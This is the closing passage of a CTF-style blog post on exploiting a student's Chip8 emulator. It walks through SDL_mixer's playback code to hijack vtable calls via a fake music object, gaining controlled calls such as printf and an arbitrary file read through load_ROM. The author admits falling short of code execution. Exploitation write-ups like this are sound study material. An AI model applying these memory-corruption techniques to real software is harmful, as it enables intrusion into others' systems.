    <span class="n">music</span><span class="o">-&gt;</span><span class="n">fade_steps</span> <span class="o">=</span> <span class="p">(</span><span class="n">ms</span> <span class="o">+</span> <span class="n">ms_per_step</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">/</span> <span class="n">ms_per_step</span><span class="p">;</span>

    <span class="cm">/* Play the puppy */</span>
    <span class="n">Mix_LockAudio</span><span class="p">();</span>
    <span class="cm">/* If the current music is fading out, wait for the fade to complete */</span>
    <span class="k">while</span> <span class="p">(</span><span class="n">music_playing</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">music_playing</span><span class="o">-&gt;</span><span class="n">fading</span> <span class="o">==</span> <span class="n">MIX_FADING_OUT</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">Mix_UnlockAudio</span><span class="p">();</span>
        <span class="n">SDL_Delay</span><span class="p">(</span><span class="mi">100</span><span class="p">);</span>
        <span class="n">Mix_LockAudio</span><span class="p">();</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">loops</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="cm">/* Loop is the number of times to play the audio */</span>
        <span class="n">loops</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">retval</span> <span class="o">=</span> <span class="p">(</span><span class="n">music_internal_play</span><span class="p">(</span><span class="n">music</span><span class="p">,</span> <span class="n">loops</span><span class="p">,</span> <span class="n">position</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
    <span class="cm">/* Set music as active */</span>
    <span class="n">music_active</span> <span class="o">=</span> <span class="n">retval</span><span class="p">;</span>
    <span class="n">Mix_UnlockAudio</span><span class="p">();</span>

    <span class="k">return</span> <span class="n">retval</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The interesting bits seems to be in <code class="language-plaintext highlighter-rouge">music_internal_play</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">music_internal_play</span><span class="p">(</span><span class="n">Mix_Music</span> <span class="o">*</span><span class="n">music</span><span class="p">,</span> <span class="kt">int</span> <span class="n">play_count</span><span class="p">,</span> <span class="kt">double</span> <span class="n">position</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">retval</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="cm">/* Note the music we're playing */</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">music_playing</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">music_internal_halt</span><span class="p">();</span>
    <span class="p">}</span>
    <span class="n">music_playing</span> <span class="o">=</span> <span class="n">music</span><span class="p">;</span>
    <span class="n">music_playing</span><span class="o">-&gt;</span><span class="n">playing</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>

    <span class="cm">/* Set the initial volume */</span>
    <span class="n">music_internal_initialize_volume</span><span class="p">();</span>

    <span class="cm">/* Set up for playback */</span>
    <span class="n">retval</span> <span class="o">=</span> <span class="n">music</span><span class="o">-&gt;</span><span class="n">interface</span><span class="o">-&gt;</span><span class="n">Play</span><span class="p">(</span><span class="n">music</span><span class="o">-&gt;</span><span class="n">context</span><span class="p">,</span> <span class="n">play_count</span><span class="p">);</span>

    <span class="cm">/* Set the playback position, note any errors if an offset is used */</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">retval</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">position</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">.</span><span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">music_internal_position</span><span class="p">(</span><span class="n">position</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">SDL_SetError</span><span class="p">(</span><span class="s">"Position not implemented for music type"</span><span class="p">);</span>
                <span class="n">retval</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="n">music_internal_position</span><span class="p">(</span><span class="mi">0</span><span class="p">.</span><span class="mi">0</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="cm">/* If the setup failed, we're not playing any music anymore */</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">retval</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">music</span><span class="o">-&gt;</span><span class="n">playing</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
        <span class="n">music_playing</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">retval</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This function first checks if music is playing already by checking the global variable <code class="language-plaintext highlighter-rouge">music_playing</code> is not <code class="language-plaintext highlighter-rouge">NULL</code>: in that 
case there is music playing stored in the global pointer <code class="language-plaintext highlighter-rouge">music_playing</code> and it is stopped via <code class="language-plaintext highlighter-rouge">music_internal_halt</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">music_internal_halt</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">music_playing</span><span class="o">-&gt;</span><span class="n">interface</span><span class="o">-&gt;</span><span class="n">Stop</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">music_playing</span><span class="o">-&gt;</span><span class="n">interface</span><span class="o">-&gt;</span><span class="n">Stop</span><span class="p">(</span><span class="n">music_playing</span><span class="o">-&gt;</span><span class="n">context</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">music_playing</span><span class="o">-&gt;</span><span class="n">playing</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
    <span class="n">music_playing</span><span class="o">-&gt;</span><span class="n">fading</span> <span class="o">=</span> <span class="n">MIX_NO_FADING</span><span class="p">;</span>
    <span class="n">music_playing</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This does call a function in the vtable (the <code class="language-plaintext highlighter-rouge">Stop</code> function): to trigger this we need to trigger <code class="language-plaintext highlighter-rouge">Mix_PlayMusic</code> twice
before the first sample has finished playing.</p>

<p>Continuing the global <code class="language-plaintext highlighter-rouge">music_playing</code> is set and there is a call to <code class="language-plaintext highlighter-rouge">music_internal_initialize_volume</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">music_internal_initialize_volume</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">music_playing</span><span class="o">-&gt;</span><span class="n">fading</span> <span class="o">==</span> <span class="n">MIX_FADING_IN</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">music_internal_volume</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">music_internal_volume</span><span class="p">(</span><span class="n">music_volume</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>which calls <code class="language-plaintext highlighter-rouge">music_internal_volume</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">music_internal_volume</span><span class="p">(</span><span class="kt">int</span> <span class="n">volume</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">music_playing</span><span class="o">-&gt;</span><span class="n">interface</span><span class="o">-&gt;</span><span class="n">SetVolume</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">music_playing</span><span class="o">-&gt;</span><span class="n">interface</span><span class="o">-&gt;</span><span class="n">SetVolume</span><span class="p">(</span><span class="n">music_playing</span><span class="o">-&gt;</span><span class="n">context</span><span class="p">,</span> <span class="n">volume</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>which calls the <code class="language-plaintext highlighter-rouge">SetVolume</code> vtable function with the <code class="language-plaintext highlighter-rouge">music_playing-&gt;context</code> as first parameter. Clearly we control both the 
vtable and the <code class="language-plaintext highlighter-rouge">context</code> variable (which will be passed in the <code class="language-plaintext highlighter-rouge">rdi</code> register).</p>

<p>Then there is a another call to the vtable function <code class="language-plaintext highlighter-rouge">Play</code> again passing <code class="language-plaintext highlighter-rouge">context</code> as first argument: this is the second 
arbitrary call.</p>

<p>Finally, there is a call to <code class="language-plaintext highlighter-rouge">music_internal_position</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">music_internal_position</span><span class="p">(</span><span class="kt">double</span> <span class="n">position</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">music_playing</span><span class="o">-&gt;</span><span class="n">interface</span><span class="o">-&gt;</span><span class="n">Seek</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="n">music_playing</span><span class="o">-&gt;</span><span class="n">interface</span><span class="o">-&gt;</span><span class="n">Seek</span><span class="p">(</span><span class="n">music_playing</span><span class="o">-&gt;</span><span class="n">context</span><span class="p">,</span> <span class="n">position</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>which will call the vtable function <code class="language-plaintext highlighter-rouge">Seek</code>.</p>

<p>At this point I was a bit stuck until I realized that I was placing the fake music object at the wrong address. In order for
the Chip8 code to interact with these primitives I need to put the fake music object on the Chip8’s memory!</p>

<p>I decided to only use the call to <code class="language-plaintext highlighter-rouge">Play</code> as we can trigger it multiple times anyhow. All the other <code class="language-plaintext highlighter-rouge">interface</code> pointer are
<code class="language-plaintext highlighter-rouge">NULL</code>-checked so I set them to <code class="language-plaintext highlighter-rouge">NULL</code>to avoid the calls.</p>

<p>The address we must now write to the global <code class="language-plaintext highlighter-rouge">sound</code> variable is <code class="language-plaintext highlighter-rouge">0x406020</code>. Unfortunately, this seems impossible to me as I would
have to write the value <code class="language-plaintext highlighter-rouge">0x6020</code> which would correspond to making execution start at a PC of <code class="language-plaintext highlighter-rouge">0x1e</code> and I do not control what 
instructions are there at the beggining of the execution (well to be fair <code class="language-plaintext highlighter-rouge">0x406020</code> is chosen a bit randomly in the VM’s 
memory, there may be some address which can be written and is also in the VM’s memory, but at this point I started being lazy).</p>

<p>What I can however do is place the <code class="language-plaintext highlighter-rouge">interface</code> in the Chip8’s memory while having the fake music object places at the already said
address: <code class="language-plaintext highlighter-rouge">0x406a5e</code>.</p>

<h3 id="controlling-calls-from-the-chip8-assembly">Controlling <code class="language-plaintext highlighter-rouge">call</code>s from the Chip8 assembly</h3>

<p>Now I am in a position in which I can control <code class="language-plaintext highlighter-rouge">call</code> instructions (the x64 <code class="language-plaintext highlighter-rouge">call</code>, not the chip8’s) from the chip8’s assembly,
by simplying writing where I want to call at a specific memory location and then triggering the sound. Before at address <code class="language-plaintext highlighter-rouge">0x222</code>
I was simpling triggering the sound once, now let me do something more complicated. We can first write where to call using the Chip8’s assembly and then call it by triggering the sound, in this way I have multiple controlled calls. And while I can’t
control <code class="language-plaintext highlighter-rouge">rdi</code> at every call I made it point to the beggining of the Chip8’s memory so that I dynamically control what it
points to. For example calling <code class="language-plaintext highlighter-rouge">printf@plt</code> I can achieve the following</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ ./Chip8 exploit
hello world
this is written by the chip8's code
zsh: segmentation fault  ./Chip8 exploit

</code></pre></div></div>

<h3 id="arbitrary-file-read-using-load_rom">Arbitrary file read using <code class="language-plaintext highlighter-rouge">load_ROM</code></h3>

<p>There is one interesting function to call and it is <code class="language-plaintext highlighter-rouge">load_ROM</code>! This just read any file into the Chip8’s memory starting at
address <code class="language-plaintext highlighter-rouge">0x200</code>. I thought I can just read <code class="language-plaintext highlighter-rouge">/proc/self/maps</code> and kill ASLR. Unfortunately, I’d like to find the <code class="language-plaintext highlighter-rouge">libc</code> base
(to then call <code class="language-plaintext highlighter-rouge">system</code>) and the file is so big that the <code class="language-plaintext highlighter-rouge">libc</code> address wouldn’t end up in the readable memory. In general it 
turns out I can’t really read files under <code class="language-plaintext highlighter-rouge">/proc</code> as the <code class="language-plaintext highlighter-rouge">size</code> local variable in <code class="language-plaintext highlighter-rouge">load_ROM</code> ends up being zero when reading them.</p>

<p>Overall this is an interesting primitive, but not being able to read <code class="language-plaintext highlighter-rouge">/proc</code> files leaves me confused on how to use this to defeat
ASLR (which is what keeping me from calling <code class="language-plaintext highlighter-rouge">system</code> and getting arbitrary code execution).</p>

<h2 id="conclusion">Conclusion</h2>

<p>Unfortunately I was not able to turn this into arbitrary code execution: my limited knowledge and the fact that the imported 
functions by the binary are so few make the exploitation not straightforward. However I would argue there are loads of 
possibilities to be explored with the primitives I built.</p>

<p>Also this was all done disabling PIE, with PIE enabled the explotation seems more complicated. It would be possible to use a
partial overwrite to overwrite the <code class="language-plaintext highlighter-rouge">sound</code> pointer, however this lives on the heap and we have no control of the heap, so even
then the partial overwrite would be useless.</p>

<p>Anyhow, attached to this post is the full hello world exploit code. Please if you are able to turn this into arbitrary code execution 
let me know by sending a DM on <a href="https://x.com/lucabtz_">X</a>, thanks for reading!</p>]]></content><author><name>Luca Bertozzi</name></author><category term="binary-exploitation" /><summary type="html"><![CDATA[I try to exploit multiple vulnerabilities in a student's Chip8 emulator project as if it was a CTF. I build an arbitrary call primitive exploiting SDL_mixer vtables.]]></summary></entry></feed>